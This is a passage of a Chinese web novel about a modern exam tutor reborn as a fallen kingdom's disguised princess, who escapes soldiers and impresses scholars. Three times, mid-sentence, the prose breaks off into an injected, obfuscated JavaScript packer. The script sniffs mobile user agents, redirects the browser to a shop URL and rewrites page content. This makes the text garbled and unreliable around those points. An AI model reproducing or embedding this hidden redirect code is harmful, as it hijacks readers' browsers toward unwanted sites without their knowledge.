《在古代搞教培》 1. 二皇子有点茶 我真的……穿越了? 脑海中再一次出现这个念头的时候,宋始昭正拖着虚弱的身体行走在深夜的树林之中。 明天,本该是她晋升金牌讲师的第一天。 研究生毕业后,她进入某大型公考培训机构工作。兢兢业业干了四年,从菜鸟到能够独当一面自己带班……好不容易因为今年的突出表现得以内部晋升,眼看着人生就要翻开新篇章,结果,就为了一口油炸快乐,半夜下楼去美食街的她竟遭遇车祸,穿越了…… 宋始昭仍记得失去意识前,最后出现在眼前的画面,那是一片倒过来的天与地,就像她荒诞而不真实的人生。 想到这里,她狠狠掐了一把手背。疼痛尖锐而真实,彻底碾碎了她最后一丝侥幸。 ——不是梦,此刻横亘眼前的才是真实。 她抬头一方如墨的天幕上面缀着几粒星子,光芒黯淡,垂垂老矣。而近处,高大树木如同幽魅鬼影,沉默立在天地之间。偶有几阵风吹来,消解了空气里的几分灼热,但也带来一丝若有似无的血腥味。 宋始昭收回视线,吸了吸鼻子,努力将注意力集中。现在还不是能够放松警惕的时刻,因为,她随时可能会被追杀! 这是恢复意识后,源源不断涌现出的记忆告诉她的。 这具身体的原主人名为魏蘅,是已经灭国的魏国“太子”。她自幼以男性身份示人,几日前,敌国兵临城下,见大势已去,只得投崖明志,是一位为稳固父亲政权而被剥夺女性身份的权力牺牲品。 宋始昭仍记得醒来时凝固在胸腔中的那种强烈不甘,以及对父母、国家的浓浓眷恋,这让她呆愣当场,不自觉眼眶一热,泪水涟涟,好一会才从那种深沉浓稠的悲郁中挣脱出来。 但悲悯过后,宋始昭敏锐地意识到,得跑,得逃!没有见到尸身,敌人恐怕不会善罢甘休。 她目光幽幽,盯着湖波漾出的那个身披甲胄、眉目凌冽的俊秀“少年”,片刻之后,她果断褪去身上沾着血迹的盔甲,并将之沉入湖底。 ——这会成为求救的阻碍,宋始昭这般想着,又往脸上抹了几把污泥。 而后,她沿着河流探寻至今。 只是探寻的时间实在太长,宋始昭感觉到脚底酸涩得发疼,只得停下来稍作休整。她靠坐树干,微微低头,如瀑青丝便如同云雾一般倾泻而下,显得无章而朦胧,但也将她蓬头垢面的脸衬出几分柔弱。 等到最后一点星光被淹没,宋始昭再度起身,那时,林间的风似乎静止了一瞬。 愈发寂静的环境中,她似乎听到了不远处传来的,那隐隐的三两人声。 猫着脚步,放轻呼吸,宋始昭矮下身藏到了茂密的灌木丛中。 于是,那原本模糊的声音变得清晰可闻。 是两个男人的声音。 “这看不到头的劳什子搜查要持续到什么时候啊?”其中一个声音听来相当不满。 透过枝桠间的间隙,宋始昭隐隐看到两名提着灯的士兵缓步走来,说话的正是一个有着酒槽鼻的老兵,另一个人则年轻一些,周身散发出一股书生气质。 那书生看起来沉稳一些,有些无奈地回道:“老何,别这么说,生要见人,死要见尸,敌国太子尸首一日不见,谢帅心里总归是不安哪。” 酒槽鼻却嗤笑一声,满脸不屑:“谢帅的命令就全对啦?” 年轻人苦笑着摇头:“老何……” 酒槽鼻并不收敛:“方兄弟,俺是个大粗人,可比不得你们文绉绉的读书人!谢帅带着兄弟们打下一大半天下,自然是神仙似的人物,俺发自内心的佩服!但有一点俺始终想不明白,他作甚非得把那混账东西留在军中?!” “老何!”年轻人面露厉色,立刻出言阻止。 “我知道!”酒槽鼻抬起下巴,截住他的话头,“你也忒死板了,俺说错什么啦?!” 他越说越兴奋,一步站定,目光灼灼: “你来的晚可不晓得,那混帐刚来时,不但没参加谢帅摆的洗尘宴,还摸到‘秦时月’玩了一晚,最后还是被谢帅青着脸给请回去的。” “去年不还看上了那里的姐们,吵着闹着要赎了娶回府来着。”老何眯眯眼,似在回忆,“不过这秦时月确实是好啊,姐们个个野得很,老何俺也喜欢……” “欸,不对。好像不是姑娘,是个兔儿爷……哎哟造孽哦!” 这酒槽鼻短短数语就堆出个顶顶混账的膏粱子弟出来,也让努力搜寻记忆的宋始昭对上了某个人。 谢帅……下放……混账…… 唯一符合这些描述的就是那一直跟着谢玄石的顾二皇子,顾锦幽。 那男人依旧绵绵不绝地絮叨,听过去也都是那小子干的些令人啼笑皆非的混事。 宋始昭懒得去听这些不相干的轶事,心中警钟再度敲响:这对话中她捕捉到了两条关键信息,一,恰如她想,敌人不见尸体不会善罢甘休;二,授意的还是最高指挥官,谢玄石。 宋始昭有些头痛,思考着是不是该撤退。很明显,这不是个久留之地,如若被发现后果将不堪设想……然而,就在她想要悄无声息地离开时,她竟瞧见了一只玄色锦靴陡然出现,就在那两位士兵身后的阴影处! 她心头一震,目光不自觉地顺着那脚移动。 溶溶的黑暗之中,一个束发公子倏地浮现。那张瘦削面庞上有一双狭长双目,烟波与夜色落在其中,随着眼底并行的那两颗痣一起风流。高挺的鼻梁下,饱满嘴唇更是勾着一丝若有似无的笑意,叫人根本移不开眼。 “哎呀,所以说,跟在这位顾二……嗯……的身后,每天都做些混事,他的手下们心里也恨得要死吧!” 那酒槽鼻仍旧滔滔不绝,直至看到那书生蓦地矮下身形,额头紧紧贴着伏在地面的手背时,方才戛然而止。 如梦初醒。 酒槽鼻哆嗦着转身,猝不及防,撞上了一张分外善良而无辜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125633|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸。那长身玉立的公子气质出众,月色落在他的长袍上,似有水光款款流淌。 “……大……大人……” 想要辩解,但是却找不到话语,酒槽鼻的额头上挤满冷汗,一滴一滴争先恐后地往下坠,同时,脑袋唯余一个念头徘徊。 上次得罪这位爷的人是什么下场来着…… 可惜,车裂、凌迟在他脑中鲜活地你方唱罢我登场,吓得他死去又活来,这位的脸上却根本不见被冒犯的恼怒,甚至,在慢悠悠地扫过他们二人后,竟把目光落在了他的近卫身上。 那面容沉静而端正的近卫看着自家主子慢条斯理地收起笑容,换上一副楚楚可怜的表情,大感不妙的瞬间,就听这位顾二皇子如泣如诉: “棹之,原来你恨我……” 沈棹之:“…………” …… 这人怎么茶茶的?难道这就是传说中的戏精? 宋始昭属实是第一次接触到这种男的,一瞬间被那浓浓的茶味给熏到了。不过,心里虽然震荡,行动却不敢有丝毫懈怠。 她又不是最近流行的日漫Bking,如何一个人包围一队?她能做的,只能是尽量隐蔽自己,不露出破绽,看局势如何发展。 那时,那黑袍公子已经笑眯眯地宽赦了酒槽鼻。酒槽鼻显然还有些不可置信,身形不稳地站起身,神情茫然。 腰间悬着一柄长剑的近卫脸上重新爬上警惕,靠近这位被发配边疆的天皇贵胄:“爷,时辰也不早了,这一带也搜过了,咱们要不先撤了?谢帅那也担心着呢。” 顾锦幽拢拢衣袖:“嗯。棹之啊,我都这么卖力找了,这次谢帅总该原谅我了吧?” 沈棹之脸上一僵,显然是记起他前些日子做的混账事,但碍于外人在场也不便言明,只得默默点头。 宋始昭默默收回视线,那一行四人离开的背影被月光拉长,同树影交融在一起,像是昏暗不明的血块。她终于放松,一阵虚脱般的乏力涌上来,连带着僵硬的、早已麻木的指尖也微微一颤。 虽然听到后面已然开始后悔不该这么冒进,但,高风险自然有高回报,她也获得了极为重要的信息。 可惜,此刻的宋始昭还不知道,她的生命总有一种会乐极生悲的悲催劲儿。 ——就在对方快要走远,她那不经意放松下来的手指居然碰到了旁边泥道上细碎的石子。 哒,哒。 那碎石滚动了几圈,宋始昭心头一震,还没反应过来,下一秒,她就听到了利器破空而来的狰狞声。 铮! 一阵凌厉的风斩落了夜色和逃跑的勇气,眼角余光处,白光一闪,宋始昭瞳孔猛地放大,她感觉到右侧脸颊产生针扎一般的疼痛。 愣愣地转头,宋始昭看向身侧直直插入泥土好几寸深的物什。 那赫然是一柄淬着冷光的利剑,镌刻着繁复纹路的刃身此刻还在微微的晃动,像是夏夜暴雨来临前蜻蜓的振翅。 2. 都是演员 宋始昭被粗暴地从灌木丛中拖出来。 身上的衣衫单薄,被强行拖曳着向前时摩擦出火辣辣的痛感。一时间,天旋地转,眼冒金星,当膝盖重重磕在地上,碰撞产生的尖锐疼痛更让她冷汗直流。 法治社会长大,哪见过这阵仗? 宋始昭耳中嗡嗡作响,甚至听不清那酒糟鼻的质问。 “你是何人?!” 长发猛地被人攥住,她的脸被迫仰起,眼角因痛立刻盈出生理性的泪花。 这反应立刻叫这群久经沙场的人发觉,这是个女人!那酒槽鼻上的力道小下来,说话气势都弱了三分:“……怎么是个女娃儿!” 拜这疼痛所赐,宋始昭清醒几分。 眼角余光处,那名为沈棹之的近卫正从灌木丛中走出,手中拿着的正是那把划破自己脸颊的长刃,这令她确定,刚刚不发一言、直接动手的就是这个人。而能驱使这个人这样做的—— 正是面前饶有兴味地盯着自己的俊俏公子。 ……但这家伙,绝对是个脑子不正常的疯子。毕竟,狗随主人。 宋始昭暗暗揣摩这疯子的想法,努力让自己的声音变得颤抖:“我……各位爷,我只是听到这里有动静就……” 伪装成平民是现在最稳妥的方法,她庆幸自己脱下了那身盔甲,只留下内里的袍服,要不然此刻就是百口莫辩。 ……等等,袍服?! 宋始昭呼吸一窒,她竟忘了这层!原主身份尊崇,自然衣物也不是凡品,这衣衫做工精致,根本不可能是寻常百姓家能拥有之物! 对方显然也察觉到她话里的纰漏,一声质疑立时在不远处如惊雷般响起: “那么,你这身衣物又该如何解释?” “而且,你一个女子为何要穿男人的衣衫?” 听声音,竟是那书生。 宋始昭心脏快要跳出嗓子眼,靠……怎么办? 跑?不可能,这几人的武艺明显高出自己数倍;而且,只要一跑,直接就坐实了自己的嫌疑! 那么……有没有一个合理解释? 电光火石间,宋始昭念头一闪,有了对策。她登时抖如筛糠: “各位……各位爷,战事吃紧,夫君从军……就再没回来过,我一个妇人……实在活不下去了,才、才敢从那些死人身上拿点东西……” 此话一出,众人脸色均一变。 在这个兵荒马乱的年头,百姓因连年战乱而流离失所,挣扎求存之际,往往做些不得已的勾当维持生计。 那酒槽鼻显然信了,他松开手,半是惊奇半是感叹:“从死人身上拿点东西?你这女人倒是胆大!” 得亏看过红楼梦,知道焦大是怎么进宁国府的…… 宋始昭心中一喜,只是脸上却扯出一个难看的恭维笑容,她手上动作,摸出身上仅剩的值钱物品——一枚只剩半块的精美玉佩。这是原身母亲给予魏蘅的保命之物,说危急时刻可能会有大用,为此她才一直保存。 她便颤巍巍地递过去:“这个,要不……各位爷你们拿去罢……” 众人面面相觑,一时竟有些尴尬。这女人看来是真把他们当成占山为王的山匪了。 沉默的空隙里,那年轻侍卫咳了一声:“你收回去吧。” 宋始昭面上一喜,但这喜悦又很快收起,她神色激动地说了好几声谢谢各位爷。 众人对她不再怀疑,沈棹之更是往前一步,就要将她从地上拉起。 就在这时,那一直一言不发的戏精皇子却蓦地开口,说出的话又将气氛降至冰点: “虽然你蓬头垢面的,但瞧这身形……啧啧,该是个大美人呐~” “哎呀,说起美人,棹之,那敌国太子似乎也是个……远近闻名的‘美人’吧?” 对方的表情温情脉脉的,给人一种错觉,仿佛他接下去要说的话里尽是天真的想象:“应该不会是,故意装成女子吧?” 语气尽管不确定,但宋始昭却读懂了对方眼神里传递出的信息——他确信她就是个男人。 宋始昭心里一沉,正欲装傻反问,但那浪荡子却不听她辩驳,语气轻佻又危险:“不过,也没所谓,验一验不就知道了么。” 话音未落,他就拔出沈棹之悬于腰间的剑,直直抵了过来。 动弹不得。 因为,这人眼神危险,表情玩味,她知道,如果她动了,那么将必死无疑。所以,她只能仍由那兵器带着冰凉的寒意和不容置疑的强硬,一点一点拨开她的衣领。 肩膀渐渐显露一隅,一截吊带陡然出现。这一刻,对方的动作终于停了下来。 一瞬间,周围的空气安静得可怕。酒槽鼻目瞪口呆,沈棹之和那书生在震惊之余则立刻偏过头。 而当事人宋始昭,在短暂愣怔过后,一种巨大的被羞辱感立刻涌了上来,她眼角发红,浑身控制不住地颤抖,只能死死地咬住嘴唇,才能将那些情绪咽下去。 这一次不再是故作的心机,而是实打实的愤怒与委屈。 很快,那柄剑消失在她视线之中。 —— 宋始昭从噩梦中惊醒,剧烈地喘了几口气。 这已是从那疯批手中逃脱的第三天,她仍时不时会魇进去。心有余悸的同时也深感一股焦虑自心底而生。 宋始昭知道,这里不比现代,所有的一切都是这样原始而残酷,来自上位者的倾轧更是致命。这样的认知让她愈发想要破局。 她不是一个坐以待毙之人。很多时候,她喜欢主动出击,抓住一切机会。 她从树下站起,往脸上又抹了几把灰土,之后便拿起锈钝的砍刀砍向荆条。 这是座魏国、兴国与鄂罕部三国交界的小村落,原身魏蘅便是想从这里逃离至鄂罕部再从长计议。只是谢玄石似是预料到了他们的想法,候在这里来了个请君入瓮…… 宋始昭对这件事仍有些疑虑。从魏蘅的记忆来看,谢玄石虽有无双的武技及军事能力,但并不擅长奇谋,那么能有如此料事如神的见地细想下来便有些蹊跷。但是信息太少,她也想不出理所当然。而且,眼下显然也不是思虑这件事情的时候。她看着已经被勒出深深红痕的掌心嘴角泛起苦笑。 自顾锦幽那处逃离后,她辗转之下幸得一位盲婆婆的收留,才不至于流落荒野。 婆婆姓陈,无名,一个月前在兴国与魏国最后战役打响之际,并没有像村中大部分人一起逃命去,而是选择留在这里,等候她那参军后一直杳无音讯的儿子归家。 宋始昭听得心酸,便主动提出帮忙的想法。只是理想是丰满的,现实却是残酷的……她握了握掌心,一股难以言喻的沮丧爬上她的心头。 她心里清楚,原主身份太过敏感特殊,这里绝非久留之地,但是古往今来,要生存就需要钱,而她,狗都不学文科生一个,要技能没技能,要手艺没手艺,除了当老师之外真是没什么出路。 ……等等,老师? 宋始昭眼睛一亮,停下手上动作,琢磨起这个念头。原身饱读诗书,一手毛笔字更是写得极好,之前也听陈婆婆提过,东边二十里外的丰城颇为繁华,那么,她或许能做抄书先生做起…… 但……哪有女人干这活的?而且,一个有学识的女人可太引人注目了。 宋始昭自嘲地想,穿越前多难搞的学员都能轻松拿捏,现在居然被性别这件事给难住了……她苦恼了一会,没思索出对策后只得又干了会活,等到背篓装满,才缓缓走下山。 陈婆婆的家在村落最深处,宋始昭走近时,猛地发现情况不太对! ——那低矮破败的小屋前正立着一人,而他周身则横躺着数名男子,他们形容狼狈,口中更是呻吟不断。 宋始昭心里一沉,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125634|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由加快脚步。等跑近,她发现立着的那人竟是那顾锦幽的近侍,沈棹之。 那面容清俊的侍卫见到她后竟也不惊讶,只是微微作揖:“夫人,上次的事多有得罪。” 宋始昭心头疑窦丛生,表面却不动声色,她满身戒备地走到陈婆婆身边。老人显然是受了极大的惊吓,听到她的声音后脸上的惊恐减少一些,摸索着攥紧了她的手。 宋始昭沉声开口:“沈公子,这到底……?” 沈棹之的目光冷冽地扫过地上那几人:“这些人皆是流民,方才竟想打劫婆婆。” 从陈婆婆依旧颤抖的手中宋始昭确定了这件事的真实性,她颔首道:“多谢你。” 沈棹之摇了摇头,眼神陡然又变得锐利起来,他看向地上那几人,喝道:“滚!再让我看到你们在这一带徘徊,绝不轻饶!”说着,还亮了一把凉薄的剑身。 那几个流民如蒙大赦,立刻连滚带爬地起身,转瞬间便消失在了山路尽头。 随后,沈棹之转过身,解下腰间系着的一个锦袋,递到宋始昭面前。 宋始昭下意识地往后缩了缩肩膀,不敢去接。 沈棹之见状,无奈地叹了口气,低声道:“夫人,我家爷他,不是你想得那般……” 他似乎还想说些什么,可话到嘴边,又咽了回去,只说:“总之,他让我暗中跟着,护你周全。如今我们将要离开此地,这是他让我交给你的赔礼。” 宋始昭虽然内心不愿,但为了不让对方起疑,迅速在脸上露出怯懦与感激交织的神色,而后伸出手接过了那个锦袋。 —— 夕阳西沉。 宋始昭坐在床头,小心翼翼地拆开了那个锦袋。袋中并无他物,只有几锭沉甸甸的碎银。她捏着那碎银,心里有了几分了然及雀跃。 想来那顾锦幽差遣沈棹之,大概也不单单只是为了赔礼道歉。宋始昭不想细想,很多时候,点到为止才是聪明人的处世之道。她不由庆幸即便是这几日里也没有忘记做点伪装。而且,他们要走,那么也就意味着对她的追捕将会放松很多。 得亏原身实则是个女子,是在女扮男装…… 宋始昭眼睛一亮,刚刚还在为“女子身份不便谋生”的事情而苦恼,但是现在,解法不就在眼前么? 要说扮成男子,那原身可太有话语权了…… 宋始昭目光流转,心里立刻有了主意,她小心翼翼地从床底翻出那件差点惹来杀身之祸的贵重衣物,把它塞入行囊中。而后又取出锦袋中的一些碎银,包起来放到衣柜里。 她看着衣柜中婆婆儿子的旧衣物,心里默念,对不住,婆婆,要是有办法,我也不想这样,这些碎银就当是我的借用费吧。 出发的日子定在三天之后,把自己要去丰城谋生的想法告知陈婆婆时,虽然不抱希望,但她还是问了句,是否想跟随她一起去往丰城。 老人果然如她所想,沉默片刻,最终还是摇了摇头。已换好男子装束的宋始昭并没有多劝,她知道,当一个人内心有执念时便会将生死置之度外。所以到最后,宋始昭只是又从锦袋中拿出一些碎银,偷偷塞到衣柜之中。 出发那天,婆婆为她准备了最后一顿饭菜。 吃完饭,宋始昭强压下离别愁绪和对前路的忐忑,起身拜别。只是,命运的齿轮在这时发出一声清脆的咬合声。她刚掀开门帘,一阵清晰的马蹄声,突然由远及近,停在了院门外。 宋始昭下意识地绷紧身体,警惕看向院外。 院外有几人正跨马而下。 领头那人四方脸,虽不苟言笑,举止却十分文雅得体,这让宋始昭戒备少了几分。等走到她的面前,对方主动作揖开口道:“公子,打扰了,请问……”说着,他从怀中掏出了一件物什,举到宋始昭面前。 宋始昭定睛一看,那竟是同她手中相似的,另外半块玉佩! 3. 矛盾分析法 宋始昭感觉自己陷入了一片时空完全错乱的梦境之中。 一会,她还在童年那间狭窄小屋中。那时,父亲因公殉职,仅有的温暖都来自她那坚韧的母亲。 同以往的梦境不同,这一次,梦中的母亲再不似最后在病榻上见到的那般形销骨立,还是记忆中那幅爱笑的模样,在辛劳一天后,还会坐在灯下为她织几件衣裳…… 一会,她又被困在一间冰冷宫殿内。满头珠翠的美丽女人泪水涟涟,将半枚玉佩塞入“她”的手中。她朱唇轻启:蘅儿,快走,快走……带着它远走,说不定还有一线生机…… 母后……! 破碎的被压抑的惊呼自她喉间挤出,如同杜鹃的啼血之声,一片兵荒马乱之中,唯有妇人最后的那声嗟叹仿佛判词般一直萦绕耳畔。 愿身不复生帝王家…… 宋始昭慢慢睁开眼睛。洗尽铅华、褪去伪装的白皙面庞上流下一行清泪。她伸出手指轻轻抹掉,心中泛起波澜。 这是原身魏蘅的记忆……这场诀别之后,便是退无可退,以死明志…… “到了,公子。” 耳畔传来一句男声将她惊醒,正是那日寻她而来的四方脸。他名唤林辛,是当今太学祭酒林自虞的家仆。 宋始昭不自觉攥了攥掌心,疼痛让她的思绪渐渐清晰,她打开车帘,一束光芒如利刃一般刺破沉沉的黑暗,漂浮在空气中的尘土微微颤动着,像是心跳。宋始昭知道,这是挑战,却也是机会。 她随林辛自人烟稀少的侧门而入。这座老宅古朴而清幽,像是一口长满青苔的铜钟。宋始昭低垂着眼眸,穿过前院,行过长廊,最终被引至一座屋前。 屋前有一方小小池塘,湖中怪石嶙峋,清波漾漾,颇有意趣。林辛立在门前恭敬通报,尾音尚在空气中震颤,屋内便传来沉稳一声:“进来吧。” 宋始昭推门而入。 伴随着吱呀声,一位年过五旬的老者出现在她眼前。他正坐在书案后,将狼毫置于笔架之上。见到宋始昭,他站起身,蓄着山羊胡的清瘦面庞上出现打量神色。 很快,那打量化作某种复杂神色,宋始昭看在眼里,虽有疑惑,但还是先行了礼:“晚辈见过祭酒大人。” 林自虞露出笑容:“本以为……会很难见你。” “我让林辛去找,本也没抱太大希望。你能活着……很好。” 宋始昭一怔,这语句中流露出的关切令她动容。她垂下眼眸,沉低音色,又变回那个“魏蘅”:“谢谢大人。” 林自虞摆摆手,面色平静无波:“你母亲于我有救命之恩,如今她有事相托,我自当赴汤蹈火。”他顿顿,“等风声过了,我自会寻找恰当时机,将你送出关外。此后,海阔天空,自是天涯。” 宋始昭深深颔首:“多谢大人。” 林自虞笑笑,笑容过后,眼神里出现了某种深深的、不堪与人言的怀念。 —— 宋始昭住进了林府别院。 别院位于府宅西南一角,偏居一隅,十分僻静。林自虞还遣了一位侍女服侍她的起居。 她隐约猜到这位太学祭酒的想法。其实,能在这样的境况下出手相救,林自虞已无愧于当世大儒之名。只是两人终究立场不同,他能给予的也不过是有限度的照拂。 但宋始昭并不觉得失望。她选择来,真正的原因有二:首先便是灯下黑的心态;其次,最重要的,据原身的记忆,洛京商贸繁盛,她认为这里会有她一番天地。只是,眼下还不是跟林自虞禀明无意复仇、想重启人生的决心的最佳时机。林自虞对她观望多过于信赖。 因而,住进别院后她便鲜少踏出院门,静候时机。 来林府的第十日,她正在别院附近的小亭闲坐,忽而雷声大作,眨眼的功夫,大雨如注,遮天蔽日。 雨帘氤氲出若有似无的雾气,宋始昭正犹豫着是等雨停还是现下冲入雨帘,这时,一道翠绿的身影出现在雨幕之中。 对方小跑而来,大概是未曾想到亭内还有他人,与宋始昭对上视线的时候吓了一跳,低声“呀”了一声。 那双杏眼里先是闪过一丝疑惑,随即像是想通了什么,脸上忽地绽开明媚笑容:“原来你就是徐州那位投牍而来的宋始昭!” 宋始昭脑中闪过一串问号,但很快反应过来。所谓的投牍,便是某种意义上的毛遂自荐……嗯……这恐怕是林自虞为她的合理出现而编造的由头。 她只得硬着头皮应下来:“宋始昭见过姑娘,请问姑娘是?” 那少女掸掸身上被打湿的地方,脆生生笑了几声,她也不作答,只是朝着雨帘里挥了挥手:“你们快来,瞧我发现了谁!” 随着她的喊声,躲在不远处假山下的三人也冒着大雨跑了过来。一时间,几道探寻的目光齐刷刷落在宋始昭身上。 女孩儿显然对她很有好感,主动上前拉住她的衣袖,娇滴滴地说:“始昭哥哥,你真好看!我这几日刚回家,无聊得紧,闲来无事的时候可以来找你玩吗?” 宋始昭刚想礼貌拒绝,领头那人却上前一步,低声呵斥:“兰芷,成何体统!”言辞虽严厉,语气却无奈。见她松开手指,他脸上神色稍缓,又看向宋始昭:“兰芷妹子小孩儿心性,说笑呢,阁下莫当真。” 嚯。这话听着客气,却泾渭分明,一下子便表明亲疏。宋始昭敏锐觉察到他俩的微妙气息。 不过,兰芷…… 林兰芷。 宋始昭瞬间明了眼前这个娇美少女的身份,侍女今早还跟自己提及,林自虞的掌上明珠这几日从宫里回来了。 那么这些人—— 她看向那三位一身青衫、满身书卷气的青年,心里大概也有了数。听闻平日里常有太学的学子,来林府与林自虞清谈学问。 宋始昭脸不红心不跳地演起来:“自是不会,在下宋始昭。敢问贤兄尊姓台甫?” 带头的那位浓眉大眼:“在下许文礼,应天人,幸会。” 另两人紧随其后,报上自身姓名。 在亭内氛围即将变冷时,早已坐在石凳之上十分不见外的林兰芷娇俏道:“瞧这雨势,一时半会怕是停不了,不如我们就在这里继续?”她的眼睛亮晶晶的,瞧上去十分可爱,她看着宋始昭,“始昭哥哥要加入吗?” 宋始昭立刻感觉有一道目光刺了过来。她心里觉得好笑,觉得这许文礼真有意思,这一段时间来本就跌宕起伏,加上最近又被迫被关了几天装乖,她心里就起了一点调皮劲儿,故意道:“好。” 果不其然,那许文礼表情一滞,有些不情愿地同那两人交谈起来。 宋始昭立在一旁,有一搭没一搭地听着,没一会就被他们的话题吸引了过去。他们在谈“流民”。 “上月谢将军平定北方后,流民之祸愈演愈烈,照此下去,恐怕不出旬月,便会滋生事端。”其中一人忧心忡忡地说道。 宋始昭不由想起在边境村落时,沈棹之剑下那些流窜的流民。 “战事频繁,居无定所之人愈多,于江山社稷愈是危险啊。”另一人感叹。 有人接道:“依我看,当务之急还是得开仓放粮,才能解燃眉之急。” 听闻此言,许文礼皱起眉头:“此法不过杯水车薪,我认为流民的根本困境,在于无田可耕。” 宋始昭看了他一眼,这人倒是有几分见识,就是太爱吃飞醋。 “文礼兄说得不错。然,田地都攥在豪强士族手里,他们岂会轻易出让?” 自古土地便是资源,贱卖,侵吞,兼并……这就是历史始终交替轮回的根因。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125635|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若……朝廷出面,出钱赎买……”一人略显犹疑,这样说道。 许文礼立刻否决:“这恐怕不成。方才平定北方,大量军需消耗,国库情况不容乐观,哪里还有余钱?” 是的,宋始昭这样想,就算是要拨款,这笔款也该用在刀刃上。 “唉,难道就眼睁睁看着流民聚集,滋生变乱?” 宋始昭听着听着,突然产生一种微妙的既视感:眼前这些人你一言我一语的模样,不就是封闭班里,最后冲刺的阶段,她常带着学生头脑风暴的场景复现吗?她给出一个经典申论真题,学生们引经据典,各抒己见,只是,总也抓不住问题的核心。 而且,这可不就是一个实打实的、有现实意义的申论题目么?只不过,是文言文版本的…… 想到这里,她陡然产生一种奇异的荒谬感,嘴上不自觉地显露一丝苦笑。这抹苦笑恰好被林兰芷捕捉到,鬼灵精怪的少女眼眸流转,开口道:“始昭哥哥有高见吗?” 登时,讨论声戛然而止,那几道目光再一次直直投来。 宋始昭有如上课被抓到开小差的学生,刚想开口推辞,却瞥见许文礼也挑了一下眉,眼神里有未来得及掩盖的轻视之意。 他似乎觉得宋始昭提不出什么真知灼见。 宋始昭挑了挑眉,性格中迫于形势被压制下去的强势显露冰山一角,她想,给这些榆木脑袋一点现代智慧的震撼倒也不错。 首先,毛主席早就说过,解决问题要抓主要矛盾。 她思维敏捷,立即开口:“流民之所有成为流民,或许在于无钱,或许无粮,但最根本的,我赞同许兄的看法,只是无能安生立命的凭依。若有一亩薄田,谁愿作这无根的浮萍?” 这是他们几人都想到的,他们的面上均浮现出不以为意的表情。 宋始昭笑笑。毛主席还说了,要转化矛盾。 “所以,为何不先给予入籍登记,方便管理呢?” “欸?” 此言一出,众人脸上均露出诧异神色。 “各位兄台,似乎有意将流民放在对立面,但不要忘了,流民也是民啊。” 以民为本,从群众中来,到群众中去。这就是社会主义的优势。 涉及到专业领域,宋始昭脸上愈发神采奕奕,显得分外自信从容: “而且,流民也并非全然是负担,如若豪强不肯出让土地,那么何不另寻他法,比方说,开垦荒地。” 此话一出,许文礼便皱眉反驳:“不可,虽有古法可循,但也是劳民伤财之举。” 宋始昭赞同他的看法,眼珠一转又说:“那么就,授之以渔。” “授之以渔?”许文礼咀嚼着这个词。 “正是。”宋始昭点头,“如今北方初定,百废待兴。修缮官道、疏浚河道、加固城防,何处不需要人力?可招募流民,按日计酬,发放钱粮。如此一来,既能解他们饥寒之苦,又能为朝廷兴修百业,岂不两全其美?” 这就是,拉内需啊,各位朋友。 亭外雷声依旧隆隆,但这一方小小亭内却静得仿佛能听见呼吸。 她见目的达到,立刻深藏功与名:“啊,小生妄言,让诸位见笑了。” 然而,亭中几人已是目瞪口呆。林兰芷眼睛里满是钦佩;许文礼则神色复杂,勉力一笑:“宋兄高才,文礼受教了。” 宋始昭心里舒服不少,是的,这才是那个能驾驭百人大班,前往各所高校宣讲招聘也毫不怯场的自信女王宋始昭。 啪啪。 然而,正当她志得意满时,雨帘之外又传来一道声音。宋始昭望过去,心情立刻来了个急转而下。 因为她第一眼就看到了站在林自虞身旁那位气质出尘,但却不按常理出牌的疯批,顾锦幽。 4. 螳螂捕蝉 那一瞬间,宋始昭眼前下意识便闪过那夜他举着剑、似笑非笑的模样。其实,那笑容与现在相比也别无二致。 他慢悠悠地朝着宋始昭走来,目光中有一种奇异的光亮,像是发现了一件有趣的事物:“林老,这位是?” 林自虞的脸色几不可察地沉了沉。宋始昭敏锐地从中捕捉到了一丝不悦。但是这位大儒宦海沉浮多年,早已修炼出一套圆融的处世之道,他淡淡道:“是不久前投牍自荐的徐州学子,补录在即,他自徐州而来。我见他尚有几分见识,便暂且留在身边。不想今日在殿下面前唐突了……始昭,还不过来见过二殿下。” 宋始昭知道自己犯了林自虞的忌讳,此刻听话极了,立刻躬身拱手:“学生宋始昭,见过二殿——” 话音未落,一只手便制止她想要下跪的动作,那只手的主人说:“在外就不必拘泥了。”他顿顿,又笑着说,“林老实在说笑了,宋兄方才那般言论如雷贯耳,我想,是不可多得的人才。” 通常,恭维后头就没好话,宋始昭心下一沉,果不其然,她听到一句: “不知我是否有这个荣幸与宋兄结交?” ……这家伙葫芦里卖的什么药?难道……起疑了? 